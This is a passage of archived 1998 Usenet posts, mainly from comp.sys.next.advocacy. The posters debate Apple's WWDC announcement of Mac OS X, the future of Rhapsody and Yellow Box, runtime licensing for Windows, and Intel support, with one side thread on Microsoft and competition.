houses are sticking up their noses at it. Why? Well most of them have
95/NT versions already and I suspect they are saying too late Apple
what your offering isn't a big deal, and it ain't going to save us the
already spent money in development costs for 95/NT, and frankly
we've discovered the 95/NT market is larger than we could have ever
dreamed, your market share it now too tiny to support for us. And
that effectively left it up to the NeXT/OpenStep developers to pick
up the slack.
It is also clear that Apple doesn't trust that the small shops will
pick up
the slack relating to support of legacy applications. So in effect
Apple
is reaching out very hard to the old developers to bring them on board.
I have to say this is a plus. But it also smacks the small developer
who
is picking up on the slack in the face with a lot of questions about
whether crossplatform is a primary goal at this point (i.e. will YB for
95/NT survive)
The problem is that whatever Steve Jobs keynote speech was it didn't
clear up the misunderstandings. I think what people wanted wasn't
a new name for Rhapsody+Carbon = MacOS X and I'm not even sure
this equation holds true because of the uncertianty about the Display
in MacOS X (X is welcome in some ways, but very unwelcome in others!!)
and other uncertianties.
This is still uncertian though so it seems unwise to comment.
The other issue being discussed quite frequently is what will happen to
YB.
It seems to some that reaching out to MacOS developers is a sign that
Apple will axe the YB. This may be true and if it does happen that
the
cross compatibility goes away it will absolutely PISS A LOT of people
off.
It will be the last straw to many and the reason NOT to develop for
Apple.
Frankly I will believe that Apple will slowly try to migrate people to
YB
since it's the core of what it purchased from NeXT. How can you dump
YB and keep WO, or EOF, etc? But I'm always amazed by S. Jobs
audicity in dumping what he has touted for 12-24 months as the "NeXT
Great Thing"
The other question is what is happening to Rhapsody? I think in some
very real sense MacOS X will be Rhapsody with some added features
and a possible shift in Display system. I can't see that YB would be
removed since converting YB apps to Carbon will probably stink, and
making a CarbonBox (for 95/NT aka YellowBox 95/NT) would be quite
tough I expect.
I repeat for all you of faint hearts: I see nothing that indicates
Apple is
shifting away from Yellow Box in favor of MacOS calls (aka Carbon).
I think that Apple is playing up Carbon to give a call to MacOS
developers
to come back into the fold. Eventually were Apple smart and they
continue to support YB for 95/NT all the Carbon developers might see
the cross platform light. BUT if no-one purchases YellowBox for 95/NT
then we might just as well see YB for 95/NT die and possibly YB die.
Which effectively would signal the death of the Openstep API - (i.e.
YB dev's would be encouraged somehow to migrate to Carbon - blah
pituey)
Now what hardware?? Well most certianly Apple is finally handing out
DR2 for G3 - FINALLY. Now dev's can buy G3's for development!!
And this is good for Apple. In Scott's article he says
"Yellow Box DR2 and Rhapsody/Intel DR2 are expected shortly, within
a few weeks. Rhapsody 1.0 is expected this fall. Few new features are
intended,
there will be alot of polish, and customer quality issues covered.
Hardware
support will be improved."
So at least for now we'll have DR2 for mach, 95 & NT along with Intel &
PPC.
I see nothing about Sparc or HP contrary to others statements here so
that
may be a bad sign to those interested in Sparc/HP ports. But I think
Apple
has it's hands full trying to write drivers and give decent support for
PPC/Intel.
Another thing I saw in Scott's Article
"Mike also demonstrated the implementation of Scripting in the Yellow
Box
by having a remote application send a set of scripted commands to
Draw2,
which then created a bar-graph, and mailed it in MailViewer.app.
ActiveX
will be supported on Windows only. More features may be implemented if
time permits."
So why would they add support for ActiveX in YB for 95 if there was
some
question of whether YB would continue into the future. Either this is
a
plain lie or another case of vapourware (time will tell) OR god forbid
that
indeed YB is the core of Apple's technology plan for the future as they
origionally intended.
A bit of bad news explaining some reports dealing with YB app
distribution
is in this article and maybe the main reason for all the quandry about
YB.
"The bad news is that Apple doesn't seem to have been able to get the
licensing fee of YB for Windows down to zero. This is terribly
unfortunate,
and I hope that they are continuing in this direction. Currently the
scuttle-butt is that it will be between $10 and $50. I'd like to have
more
concrete information on this, since this is crucial to many of us."
I and many others had pointed out last year that the lack of any
announced
pricing on the runtimes for YB was a serious problem. Now we find
this
may actually be the stumbling point. I have to wonder if it's because
of
Adobe and DPS that Apple is having all the problems with pricing and
licensing. If so then it makes sense for Apple to dump DPS and move
to X. I love having DPS, it's a dream, I'll miss it deeply, but
frankly
I'm tired of hearing Adobe's whining. I've heard it on IRIX and seen
the garbage support for that platform, and compared to Tiffany
Photoshop
seems like a clever toy.. I say screw Adobe if they cared about
anybody
they would have long given/sold (reasonably) the licenses to NeXT/Apple
or even better the world at large. PDF is the new big thing and they
can
ride that for a while..
Anyway this licensing issue with YB will be a serious one to us
developers
coming from the NeXT camp since many of us were baited with
crossplatform
compatibility with free runtimes for 95/NT.. We knew it was too good
to
be true and we also knew the actual lack of any definative announcement
or statement to be genuine cause for concern.
A final quote from Scott's article:
"During the Q&A, the important questions where asked. Rhapsody will be
released on Intel and they are commited to both the Intel version and
the
Windows 95 versions."
"Incidently, the deployment installation of YB for Windows is only
8Mb!"
At the very least it means we will get everything that was promised
for Rhapsody in 1.0. Whether we will get it all in Rhapsody2.0 = MacOS
X
remains to be seen. If Rhapsody 1.0 is simply to say hey we gave you
what we promised and now we will be moving on to other things (i.e.
no development/support for YB on 95/NT, and faultering support for
Intel in general - not precluding dropping of crossplatform support
in MacOS X - (PPC ONLY??? big mistake if so)) then we will have
some very serious problems..
Frankly I'm hedging my bets in my business and moving everything
that is possible to move to Linux and will continue to do so simply
to avoid being jerked around by every closed/proprietary vendor.
The solutions while they are there are nice but it will always be
better to be running on a underlying OS that has complete source.
And this is not because it is free - it's the fact that having source
makes any porting at least a possibility w/o any reverse engineering.
And I won't be buying hardware from any manufacturer that doesn't
publish the specifications for developers. Learned that lesson
once already.
So to everyone in this thread. I say I don't think it is clear anyone
is
getting screwed. What is clear is that Apple is reaching out to MacOS
developers to give them a helping hand. And to this I say it's good.
To everyone sticking their noses up at YB I say if it dies along with
cross platform compatibility then you all made your MS bed now
you can lie in it. As long as Apple is committed to cross platform
compatibility and particluarly YB on 95/NT then I'll be here. I would
hope they would eventually release source to the underlying Mach/BSD
and with Adobe's cooperation the DPS layers, along with possibly some
of the Openstep/YB API's/drivers. But somehow I don't see that Apple
can read the writing on the wall, AND make a good strategic/timely
move by doing this. Sheesh the $$ in press alone to Apple and Adobe
would be worth 100's of Millions!! You'd think they'd be interested
in that whilst garnering the mindshare of the whole GNU community!!
Anyway I expect I'll be reupping our Apple Developer membership
for at least one more year. Hopefully by then this will all have
played
out and we'll know for sure where the markets are going.. I don't
see buying a G3 though until I can firmly convince myself that much
of the fp code that I work will will indeed run 2x faster than Intel.
And if that is true I think Apple should loan me a G3 to run Crystal,
Gaussian, Wien, Molpro, and other computational chemistry stuff
because there are a lot of universities switching to Intel for price
performance reasons that would happily by G3's if the price performance
was equivalent or better. I'm not buying one just to do this test
unless a client specifically requests me to do it.
Frankly Apple is missing out on a great Ad campaign that could use
YB 95/NT to illustrate how MS could be assimiliated :)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: ctm@ardi.com (Clifford T. Matthews)
Newsgroups: comp.sys.next.advocacy
Subject: Did Steve Jobs really say this? [Intel Question]
Date: 12 May 1998 16:52:24 -0600
Organization: ARDI
Sender: ctm@ftp.ardi.com
Message-ID: <ufu36vf6fq.fsf_-_@ftp.ardi.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net>
>>>>> "NYT:Ziya" == New York Times, via Ziya Oz <ziyaoz@earthlink.net> writes:
[snip]
NYT:Ziya> Moreover, Jobs said he was less concerned about the ability
NYT:Ziya> to run on both Intel and Power PC microprocessors, because
NYT:Ziya> future versions of the Power PC chip would continue to
NYT:Ziya> outperform Intel's Pentium family of processors.
Since this is a summary, not a direct quote, I'm really curious as to
what Steve said and what Apple's plans are for MacOS X. So far,
reading between the lines, it sounds like Rhapsody/Intel will go away.
Ever since they killed the clones, that's been our operating
assumption. If Apple says it's dead, that will settle it. NOTE: If
Apple says it's alive, that *doesn't* settle it.
--Cliff
ctm@ardi.com
From: spamcan@iswest.com
Organization: Internet Specialties West, Inc.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cmsg cancel <3558BDAF.EEBB45C5@milestonerdl.com>
Date: 12 May 1998 22:31:04 GMT
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Spam cancelled. Autocancel spam type: spam
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Rhapsody dead??
Date: 13 May 1998 00:35:38 GMT
Message-ID: <6japsq$nt1$1@newsfep3.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NO!
As I see it their are 2 possibilities
1) Apple has big plans for yellowbox, things are all steam ahead for
yellowbox, and jobs said what he did merely to appease mac programmers. BUT
YELLOWBOX *IS* THE FUTURE
2) This one disturbs me. Apple is hedging its bets. Steve wants to see
how both will do, and whichever gives apple more money will not be "steved",
but the yellowbox may be steved depending how things go.
People are saying how apple yellowbox engineers are stressing #1, the only
problem is what these engineers say isnt binding. The opendoc engineers said
the same thing about opendoc, and look what happened to it. The engineers
want yellowbox to be the future, but that does not prevent them from getting
steved.
I am hoping that this move isnt Steve deemphasising Rhapsody, so if it doesnt
have instant success he can "steve" it. What did steve say in the wired
article? About how he would make decissions only on how much money they
make?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 15:57:28 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6jagk8$sol$1@xmission.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news>
In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
: Why? Rhapsody is still coming out when it was before, and it'll still do
: the things it did before.
Except that on Sunday, developing for Apple on Intel had a future. Today
it does not.
: If Apple had cancelled Rhapsody completely, and then announced MacOS X
: as the replacement, THAT would be a bad thing. But Rhapsody is still
: coming out, and it is far from vapor.
Rhapsody isn't vapor. But it is stillborn, at least the Intel version.
If MacOS X was slated to run on Intel, then I wouldn't care about losing
Rhapsody, because then I would still be able to ditch my Win NT
installations on decent, low-priced hardware in favor of essentially an
updated version of NEXTSTEP on Intel.
...........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Date: Tue, 12 May 1998 16:57:11 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1205981657110001@ip21.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com>
In article <6ja6ji$k4$3@news.idiom.com>, jcr.remove@this.phrase.idiom.com wrote:
> Michael Benedetti may or may not have said:
>
> -> According to an account of Jobs' speech in the San Jose Mercury News,
> -> Apples plan is to roll the best elements of Rhapsody into MacOS X
> -> (multi-threading, protected memory etc).
>
> That may be a nice way to describe it to the MacOS paranoid conservatives,
> but the fact of the matter is that the kernal, filesystem, window system, and
> driver code all come from Rhapsody. That's not "rolling elements in", that's
> renaming an OS.
>
> MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> Good Thing. The MacOS is way past its prime.
MacOS X is Rhapsody, with MacOS support a good deal better than the ol'
Blue Box. It's just that it finally has a real product name.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 17:07:41 -0700
Message-ID: <see-below-1205981707420001@209.24.240.213>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl>
In article <6jafbi$hbb$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Andy:
>
> >They are. They are choosing MacOS X, which combines MacOS,
> >Rhapsody and Carbon. So what's the problem?
>
> Okay, okay, I surrender. Maybe it will be like you say.
> It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
> emulator _and_ Mach _and_ BSD _and_ DPS _and_ NeXTstep _and_
> the yellow box _and_ Carbon _and_ whatever Apple adds between
> now and next year), but, well, _maybe_ it will be a nice,
> non-top-heavy system.
Hmm. I don't think it's too much. Most of it already exists in Rhapsody
(Yellow Box/Nextstep/Mach/BSD). Traditional MacOS and the emulator also
already exist, inside the Blue Box (though I don't know if that's how
they'll accomplish true backward compatibility). The only thing they're
adding/changing is the Carbon APIs which allow Mac-API apps to run
"natively" in the Rhapsody environment, instead of wrapped up inside the
Blue Box.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 18:06:02 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3558D5DA.D65392B1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
spammers@ruin.the.internet.channelu.com wrote:
> So at least for now we'll have DR2 for mach, 95 & NT along with Intel &
> PPC.
> I see nothing about Sparc or HP contrary to others statements here so
> that
> may be a bad sign to those interested in Sparc/HP ports. But I think
> Apple
> has it's hands full trying to write drivers and give decent support for
> PPC/Intel.
>
And there is no announced support for NT 5.0/Win 98 either.
> So why would they add support for ActiveX in YB for 95 if there was
> some
> question of whether YB would continue into the future.
Why would Apple stop the spin off of the Newton group if they planned on
killing it?
> E"The bad news is that Apple doesn't seem to have been able to get the
> licensing fee of YB for Windows down to zero. This is terribly
> unfortunate,
> and I hope that they are continuing in this direction. Currently the
> scuttle-butt is that it will be between $10 and $50. I'd like to have
> more
> concrete information on this, since this is crucial to many of us."
Guess what? Apple is in the business to make money...and if that means a
$10-$50 charge, then that's the way it is. They dumped the Newton, charged
for quicktime, etc la. Time for the OpenSTEPpers to roll over and get
their lumps.
> "During the Q&A, the important questions where asked. Rhapsody will be
> released on Intel and they are commited to both the Intel version and
> the
> Windows 95 versions."
But no mention of NT 5.o or Windows 98 eh?
What a future for YellowBox.
> "Incidently, the deployment installation of YB for Windows is only
> 8Mb!"
>
> At the very least it means we will get everything that was promised
> for Rhapsody in 1.0. Whether we will get it all in Rhapsody2.0 = MacOS
> X
> remains to be seen.
Yup! Can't REALLY tell that 'till the code ships and someone dis-assembles
it.
> If Rhapsody 1.0 is simply to say hey we gave you
> what we promised and now we will be moving on to other things (i.e.
> no development/support for YB on 95/NT, and faultering support for
> Intel in general - not precluding dropping of crossplatform support
> in MacOS X - (PPC ONLY??? big mistake if so)) then we will have
> some very serious problems..
Well, one can hope if the whining MacOS only crowd has been heard from,
perhaps the !G3-MacOS X and YellowBox on many platforms will be heard from.
Or, better yet :-) Someone grabs the Carbon API and does a
Berkley-licensed implementation. That would show Apple eh?
> Frankly I'm hedging my bets in my business and moving everything
> that is possible to move to Linux and will continue to do so simply
> to avoid being jerked around by every closed/proprietary vendor.
Yup!
> The solutions while they are there are nice but it will always be
> better to be running on a underlying OS that has complete source.
Yup!So, what's the GNUStep people have to say about this whole Apple
soap-opera?
> So to everyone in this thread. I say I don't think it is clear anyone
> is
> getting screwed. What is clear is that Apple is reaching out to MacOS
> developers to give them a helping hand. And to this I say it's good.
Well, anyone who was excited over YellowBox cross-compatibilty and was
believing "YellowBox is the future of MacOS" is feeling like a Newton
Developer right now.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Tue, 12 May 1998 18:53:17 -0500
Organization: Prairie Group
Message-ID: <MPG.fc29cec1eb38e8b9896b7@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com> <MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com> <MPG.fc18603ab61a8e79896b1@news.supernews.com> <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com> <MPG.fc2147982b79c019896b5@news.supernews.com> <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>
In article <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fc2147982b79c019896b5@news.supernews.com> Donald Brown wrote:
> > And, say what? "A healthy third party software community wouldn't choose
> > competing"???? What would they do?
> >
> >
>
> My Developer Agreements are alliances and partnerships. Competing against the
> General Partner would be counter-productive. But maybe that is the way it
> is...
>
>
You're still losing me.
Acme Inc. over there wants to have its people talk together and has the
money to pay for it. I want that money. Bill Gates wants that money.
What's the alternative to competition?
If Bill Gates uses his control of the desktop so his Application group
has an advantage over my Application group, that's anti-trust and should
be punished accordingly. But, if the Application group is just competing
with their own products, Bill has as much right to Acme's money as I do.
Donald
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
Date: 12 May 1998 20:24:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jap7p$2hb$1@crib.bevc.blacksburg.va.us>
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6jaio4$lon$1@interport.net>
In article <6jaio4$lon$1@interport.net>, float@interport.net wrote:
> OPENSTEP apps are supposed to work on Rhapsody, but I haven't heard
> anything suggesting the reverse is true.
Correct; it isn't.
> The official word is that OPENSTEP apps will run on Rhapsody. I don't
> know whether that's source compatibility or binary compatibility.
Source.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody and games
Date: Tue, 12 May 1998 17:43:02 -0700
Message-ID: <see-below-1205981743030001@209.24.240.213>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244> <6j8a9i$g46$3@newsfep4.sprintmail.com> <6j8bro$sam$2@news.xmission.com> <see-below-1105982011040001@209.24.240.244> <355837E0.8F27407F@milestonerdl.com>
In article <355837E0.8F27407F@milestonerdl.com>, mark@milestonerdl.com wrote:
> Matthew Vaughan wrote:
>
> > IYes, I sincerely hope he is wrong, and I hope you can prove it sometime!
> > If YB were ported to more platforms than just Windows and Rhapsody (ie,
> > start with Sun and HP and keep going),
>
> Are you willing/able to create a series of links supporting your
hope?(Actually
> Apple press releases would be the best.)
> And, do you know anyone at WWDC who can obtain the above answers?
I don't know. So far this is just my thinking on what would make the most
sense, not anything I have more than subtle rumors and suggestions Apple
may actually do.
(Though somebody did post a link recently to an interesting page outlining
almost exactly the strategy I was thinking of, dated a year ago. And
someone else mentioned the page was by someone working on Rhapsody,
perhaps the project lead? But I didn't save the link, and can't find it,
or the posts referring to it, now!)
I'm also not attentind WWDC, so I couldn't say whom to talk to. Sorry!
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 17:43:38 -0700
Message-ID: <see-below-1205981743380001@209.24.240.213>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com>
In article <Esu3v3.365@micmac.com>, nospam@micmac.com wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>) by Pulsar:
>
> > It would make little sense for someone writting a new application or
> > someone rewritting an application anyway to use Carbon since YB will
> > provide a much larger market and will be much easier to maintain. The YB
> > will be developed further and extended. Carbon (as I see it) is largely a
> > dead end. It's just a temporary solution.
> >
>
> Though we agree on the rest, as I see it, you're wrong on that:
> Carbon will run on Intel (mo)... So this is also a way to access a much
> larger market.
Oh? Where did Apple suggest Carbon would run on Intel?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 18:25:45 -0800
Organization: Flames-R-Us
Message-ID: <6jasag$hro@bgtnsc03.worldnet.att.net>
References: <nagleEsto5z.E8C@netcom.com> <B17DDD1E-2634C@209.109.225.96> <35585CA7.CA000CA8@milestonerdl.com>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <35585CA7.CA000CA8@milestonerdl.com>, mark@milestonerdl.com wrote:
> Benjamin Smith wrote:
>
> > Rhapsody wasn't getting developers.
>
> Could there be ANY tie in between Apple NOT getting developers, and the way
> Apple has treated them in the past?
Sort of like "cause and effect"?
--
Of course, wilhelp is Bill Palamer's copyrighted property.
World Famous Usenet "writer", "my name is wilhelp"
wilhelp@ix.netcom.com (Bill Palmer) demonstrating
proofreading is not an option in <6i3rh6$2r6@sjx-ixn3.ix.netcom.com>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
<MPG.fc037b16e250e8598969e@news.supernews.com> <OzK51.1301$sy4.2902885@news.rdc1.sdca.home.com>
<MPG.fc155c57791d10b9896a5@news.supernews.com> <_iP51.1533$sy4.3061975@news.rdc1.sdca.home.com>
<MPG.fc18603ab61a8e79896b1@news.supernews.com> <AMQ51.1548$sy4.3106442@news.rdc1.sdca.home.com>
<MPG.fc2147982b79c019896b5@news.supernews.com> <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>
<MPG.fc29cec1eb38e8b9896b7@news.supernews.com>
Message-ID: <8z661.2026$sy4.3627611@news.rdc1.sdca.home.com>
Date: Wed, 13 May 1998 01:20:04 GMT
NNTP-Posting-Date: Tue, 12 May 1998 18:20:04 PDT
Organization: @Home Network
In <MPG.fc29cec1eb38e8b9896b7@news.supernews.com> Donald Brown wrote:
> In article <VdZ51.1915$sy4.3304669@news.rdc1.sdca.home.com>,
> rriley@yahoo.com says...
> > In <MPG.fc2147982b79c019896b5@news.supernews.com> Donald Brown wrote:
> > > And, say what? "A healthy third party software community wouldn't
choose
> > > competing"???? What would they do?
> > >
> > >
> >
> > My Developer Agreements are alliances and partnerships. Competing against
the
> > General Partner would be counter-productive. But maybe that is the way it
> > is...
> >
> >
> You're still losing me.
>
You have a detrimental reliance upon a partner/alliance for infrastructure or
services to compliment your application offerings. In the application
specific case, you benefit from Microsoft OS being there. Microsoft benefits
by you being there to handle "innovative" and "specialized" needs in their
marketplace. This symbiotic relationship serves the interest of all parties.
> Acme Inc. over there wants to have its people talk together and has the
> money to pay for it. I want that money. Bill Gates wants that money.
> What's the alternative to competition?
>
Acme Inc. must be a industry consortium or require some legally mandated
protocol. MS would/should be interested in a paying customer for any
enhancements to its communication layer benefiting the rest of its users. The
money is tangential.
If you are chasing the money... this presents boundary issues which puts you
in the position of acting as MS. The question then becomes "Why is it in the
customer's best interest to have you steward the protocol and not the OS
manufacturer?
> If Bill Gates uses his control of the desktop so his Application group
> has an advantage over my Application group, that's anti-trust and should
> be punished accordingly.
Not necessarily... in the example above, expect MS to be in the position to
implement based upon intimate and proprietary knowledge of the OS. You would
contractually have no right or recourse to the OS source. I don't know of any
other circumstance which would "advantage" MS, but I'm clean on MS products.
> But, if the Application group is just competing
> with their own products, Bill has as much right to Acme's money as I do.
>
>
Ah, if it's just an existing product like Word, I agree. If you are extending
a MS product for hire, that's a boundary I wouldn't cross for customer's sake.
This is as B&W as I can keep it based upon my limited knowledge. Help?
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
MIME-Version: 1.0
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References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net>
<rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com>
<rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com>
<rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com>
<rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net>
<IfW51.1190$0A3.5351018@news.itd.umich.edu> <35588E5A.5E27@CONVEX.COM>
Message-ID: <Kw561.1959$sy4.3591358@news.rdc1.sdca.home.com>
Date: Wed, 13 May 1998 00:09:14 GMT
NNTP-Posting-Date: Tue, 12 May 1998 17:09:14 PDT
Organization: @Home Network
In <35588E5A.5E27@CONVEX.COM> Michael Peck wrote:
> not@my.address.net wrote:
>
> [cut]
>
> > Does the New York Times know the difference between an operating system
and an
> > API? What part of Rhapsody does the New York Times think won't be part of
> > MacOSX? The Mach kernel? The Java VM? The YellowBox API's? ... or is
it the
> > only the name "Rhapsody"?
>
> This is one of the worst failings of Jobs' PR machine. The public
> understands computers as "things". They can even understand the concept
> of software, but they understand it as a bunch of "things" as well. They
> know software in terms of "operating system" and "applications", and
> sometimes can be made to understand "technologies", but always only as
> "things".
>
> Apple has always talked about software and technology in terms of
> things. There were the QuickTime thing, the QuickDraw GX thing, the
> Newton thing, and the GameSprockets thing. It's impossible to stay
> current on the nuances of all software technologies even if you try, and
> most don't try, so this nomenclature of discreet "things" works for
> almost everyone who uses it, including Microsoft and Apple.
>
> Unfortunately, one of the worst effects of Jobs' secrecy campaign has
> been to muddy the verbiage with almost no sense of defining borders
> around "things". There was a Rhapsody thing, and there was a Blue Box
> thing (wonderful execution, there). But from there, it just got bad and
> worse. What was the Yellow Box thing? Most people had no idea. What
> things were in Rhapsody to make it useful? Most people had nothing to
> cling to.
>
> Now it's at its worst. What is the MacOS X thing? What is in it? What
> things will it have? We know of the Carbon thing (excellent), but what
> else do we know? Of course we know much more, but I dare you to explain
> it to your neighbor.
>
> Microsoft's whole IE problem is tied up in the definition of "things".
> What is the IE thing, exactly? At what point does it end and the Windows
> "thing" begin? Failing to define its terms has been Microsoft's worst
> mistake in the whole affair.
>
> Jobs would do well to learn this lesson quickly. The faster Apple can
> begin promising discreet "things" and shipping them to actual people,
> the faster the media will convince itself that Apple is turning around
> and busting things up. Unfortunately, I can't see anything in the
> pipeline to fulfill that: Rhapsody is already being considered a "dead
> thing" and any enthusiasm the press might've had for the Allegro thing
> has already been co-opted by the MacOS X thing.
>
>
Very useful framing of the discussion, Michael. Together with the lil'bit
O'lawyer contribution, you've upped the content value and in the process
allowed some of us less fortunate types to take away more than we put-in.
thanks...
-r
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 19:35:05 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <3558EAB9.2054@globaldialog.com>
